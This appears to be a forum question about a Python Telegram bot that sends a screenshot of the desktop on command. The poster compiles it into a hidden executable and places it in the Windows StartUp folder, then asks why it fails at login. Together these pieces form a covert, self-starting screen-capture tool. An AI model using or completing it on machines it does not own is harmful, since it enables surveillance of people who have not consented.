I have the following python file, which simply:
- connects to telegram bot
- waits for command ("\s" or "\screenshot") and then sends time + screenshot
Then I make the Windows-Executable file with:
pyinstaller "filename.py" -w -F
w and F means here, that it is a background process and should be compiled to one file.
If I start it on Windows machine everything is okey: I do not see any windows and can comunicate with desktop per telegram bot.
The problem appears then I move the file to the StartUp Windows Folder:
C:\Users\Elliot\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp
I restart then my windows system and see the following window error:
Failed to execute script filename.py
Thefore the bot does not react on my messages and no process appear in the task manager.
What am I doing wrong? I appreciate any help!
Python code:
import telebot
import pyautogui
import os
from datetime import datetime
#this is the initialization command
bot = telebot.TeleBot("this-are-numbers-to-connect-to-bote")
@bot.message_handler(commands=['s', 'screenshot'])
def send_welcome(message):
bot.reply_to(message, "[+] Hello, i am sending you the screenshot")
uphoto = pyautogui.screenshot("pic.jpg")
today = datetime.now()
today = "Date: "+str(today)
bot.send_photo(message.chat.id, uphoto, today)
os.remove("pic.jpg")
#start listening
bot.polling()